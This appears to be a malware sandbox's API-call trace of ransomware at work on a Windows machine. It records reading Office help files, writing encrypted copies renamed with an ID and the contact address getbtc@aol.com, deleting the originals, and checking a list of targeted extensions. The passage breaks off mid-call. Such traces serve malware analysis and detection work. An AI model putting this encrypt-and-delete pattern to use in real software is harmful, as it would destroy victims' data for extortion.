[0252.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.498] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=113) returned 1 [0252.499] CloseHandle (hObject=0x390) returned 1 [0252.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 0x20 [0252.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.499] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.499] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.499] GetLastError () returned 0x0 [0252.499] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x71, lpOverlapped=0x0) returned 1 [0252.618] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x80, lpOverlapped=0x0) returned 1 [0252.619] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.619] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0252.619] SetEndOfFile (hFile=0x3ac) returned 1 [0252.663] CloseHandle (hObject=0x3ac) returned 1 [0252.663] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.663] SetEndOfFile (hFile=0x390) returned 1 [0252.951] CloseHandle (hObject=0x390) returned 1 [0252.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString=".doc") returned 4 [0253.063] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.063] lstrlenW (lpString=".docx") returned 5 [0253.063] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.063] lstrlenW (lpString=".pdf") returned 4 [0253.063] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString=".xls") returned 4 [0253.063] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString=".xlsx") returned 5 [0253.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.063] lstrlenW (lpString=".ppt") returned 4 [0253.063] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString=".zip") returned 4 [0253.063] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString=".rar") returned 4 [0253.063] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString=".bz2") returned 4 [0253.063] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.063] lstrlenW (lpString=".7z") returned 3 [0253.063] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString=".dbf") returned 4 [0253.063] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString=".1cd") returned 4 [0253.063] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString=".jpg") returned 4 [0253.063] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.064] lstrlenW (lpString=".doc") returned 4 [0253.064] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.064] lstrlenW (lpString=".docx") returned 5 [0253.064] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.064] lstrlenW (lpString=".pdf") returned 4 [0253.064] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.064] lstrlenW (lpString=".xls") returned 4 [0253.064] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.064] lstrlenW (lpString=".xlsx") returned 5 [0253.064] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.064] lstrlenW (lpString=".ppt") returned 4 [0253.064] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.064] lstrlenW (lpString=".zip") returned 4 [0253.064] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.064] lstrlenW (lpString=".rar") returned 4 [0253.064] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.064] lstrlenW (lpString=".bz2") returned 4 [0253.064] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.064] lstrlenW (lpString=".7z") returned 3 [0253.064] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.064] lstrlenW (lpString=".dbf") returned 4 [0253.064] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.064] lstrlenW (lpString=".1cd") returned 4 [0253.064] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0253.064] lstrlenW (lpString=".jpg") returned 4 [0253.064] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.064] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0253.064] lstrlenW (lpString="PE.VSL") returned 6 [0253.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0253.084] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=84352) returned 1 [0253.084] CloseHandle (hObject=0x3c4) returned 1 [0253.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 0x20 [0253.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.116] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.116] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.279] GetLastError () returned 0x0 [0253.279] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x14980, lpOverlapped=0x0) returned 1 [0253.377] WriteFile (in: hFile=0x394, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x14990, lpOverlapped=0x0) returned 1 [0253.379] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.379] WriteFile (in: hFile=0x394, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0253.380] SetEndOfFile (hFile=0x394) returned 1 [0253.380] CloseHandle (hObject=0x394) returned 1 [0253.380] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.380] SetEndOfFile (hFile=0x388) returned 1 [0253.383] CloseHandle (hObject=0x388) returned 1 [0253.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 1 [0253.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.451] lstrlenW (lpString=".doc") returned 4 [0253.451] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.451] lstrlenW (lpString=".docx") returned 5 [0253.451] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0253.451] lstrlenW (lpString=".pdf") returned 4 [0253.451] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.451] lstrlenW (lpString=".xls") returned 4 [0253.451] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.451] lstrlenW (lpString=".xlsx") returned 5 [0253.452] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0253.452] lstrlenW (lpString=".ppt") returned 4 [0253.452] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString=".zip") returned 4 [0253.452] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.452] lstrlenW (lpString=".rar") returned 4 [0253.452] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString=".bz2") returned 4 [0253.452] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString=".7z") returned 3 [0253.452] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString=".dbf") returned 4 [0253.452] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString=".1cd") returned 4 [0253.452] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString=".jpg") returned 4 [0253.452] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.452] lstrlenW (lpString=".doc") returned 4 [0253.452] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString=".docx") returned 5 [0253.452] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0253.452] lstrlenW (lpString=".pdf") returned 4 [0253.452] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.452] lstrlenW (lpString=".xls") returned 4 [0253.452] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.452] lstrlenW (lpString=".xlsx") returned 5 [0253.452] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0253.452] lstrlenW (lpString=".ppt") returned 4 [0253.452] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.453] lstrlenW (lpString=".zip") returned 4 [0253.453] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.453] lstrlenW (lpString=".rar") returned 4 [0253.453] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.453] lstrlenW (lpString=".bz2") returned 4 [0253.453] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.453] lstrlenW (lpString=".7z") returned 3 [0253.453] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.453] lstrlenW (lpString=".dbf") returned 4 [0253.453] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.453] lstrlenW (lpString=".1cd") returned 4 [0253.453] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0253.453] lstrlenW (lpString=".jpg") returned 4 [0253.453] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.453] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0253.453] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0253.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.454] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=5042788) returned 1 [0253.454] CloseHandle (hObject=0x398) returned 1 [0253.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0x20 [0253.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0253.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.454] lstrlenW (lpString=".doc") returned 4 [0253.454] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0253.454] lstrlenW (lpString=".docx") returned 5 [0253.454] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0253.454] lstrlenW (lpString=".pdf") returned 4 [0253.454] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0253.454] lstrlenW (lpString=".xls") returned 4 [0253.454] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0253.454] lstrlenW (lpString=".xlsx") returned 5 [0253.454] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0253.454] lstrlenW (lpString=".ppt") returned 4 [0253.454] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0253.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.454] lstrlenW (lpString=".zip") returned 4 [0253.454] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".rar") returned 4 [0253.455] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".bz2") returned 4 [0253.455] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0253.455] lstrlenW (lpString=".7z") returned 3 [0253.455] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString=".dbf") returned 4 [0253.455] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString=".1cd") returned 4 [0253.455] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString=".jpg") returned 4 [0253.455] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString=".doc") returned 4 [0253.455] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0253.455] lstrlenW (lpString=".docx") returned 5 [0253.455] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0253.455] lstrlenW (lpString=".pdf") returned 4 [0253.455] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".xls") returned 4 [0253.455] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".xlsx") returned 5 [0253.455] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0253.455] lstrlenW (lpString=".ppt") returned 4 [0253.455] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.455] lstrlenW (lpString=".zip") returned 4 [0253.455] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".rar") returned 4 [0253.455] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0253.455] lstrlenW (lpString=".bz2") returned 4 [0253.455] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0253.456] lstrlenW (lpString=".7z") returned 3 [0253.456] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0253.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.456] lstrlenW (lpString=".dbf") returned 4 [0253.456] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0253.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.456] lstrlenW (lpString=".1cd") returned 4 [0253.456] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0253.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0253.456] lstrlenW (lpString=".jpg") returned 4 [0253.456] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0253.456] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0253.456] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0253.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.456] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=656) returned 1 [0253.456] CloseHandle (hObject=0x398) returned 1 [0253.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 0x20 [0253.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.457] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.457] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.457] GetLastError () returned 0x0 [0253.457] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x290, lpOverlapped=0x0) returned 1 [0253.500] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0253.500] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.501] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0253.501] SetEndOfFile (hFile=0x3ac) returned 1 [0253.501] CloseHandle (hObject=0x3ac) returned 1 [0253.501] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, 